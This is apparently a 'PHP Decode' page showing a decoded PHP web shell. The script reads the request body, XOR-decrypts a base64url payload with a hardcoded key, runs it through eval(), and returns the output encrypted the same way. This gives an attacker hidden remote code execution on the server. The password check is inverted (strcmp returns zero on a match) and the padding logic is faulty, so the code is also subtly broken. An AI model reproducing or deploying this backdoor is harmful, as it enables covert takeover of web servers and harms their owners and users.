PHP Decode

<?php 
function base64url_encode($data) { 
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); 
} 
 
function base64url_decode($data) { 
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); 
}  
function x($k, $p){ 
		$c = ""; 
		$l = strlen($k); 
		$pl = strlen($p); 
		for($i = 0; $i < $pl; $i++) { 
			$c .= $k[$i % $l] ^ $p[$i]; 
		} 
		return $c; 
} 
$k = '55570a8ea758309f'; 
$content = file_get_contents("php://input"); 
$split = explode("=", $content); 
if (strcmp(base64url_decode($split[0]),'s3p3hr')) { 
$decoded = base64url_decode($split[1]); 
		$decrypted = x($k,$decoded); 
		ob_start(); 
		try { 
			eval($decrypted); 
		} 
		catch (exception $e) { 
			print($e->getMessage()); 
		} 
		$o = ob_get_contents(); 
		$c = x($k, $o); 
		$e = base64url_encode($c); 
		ob_end_clean(); 
		print($e . "
"); 
} 
?>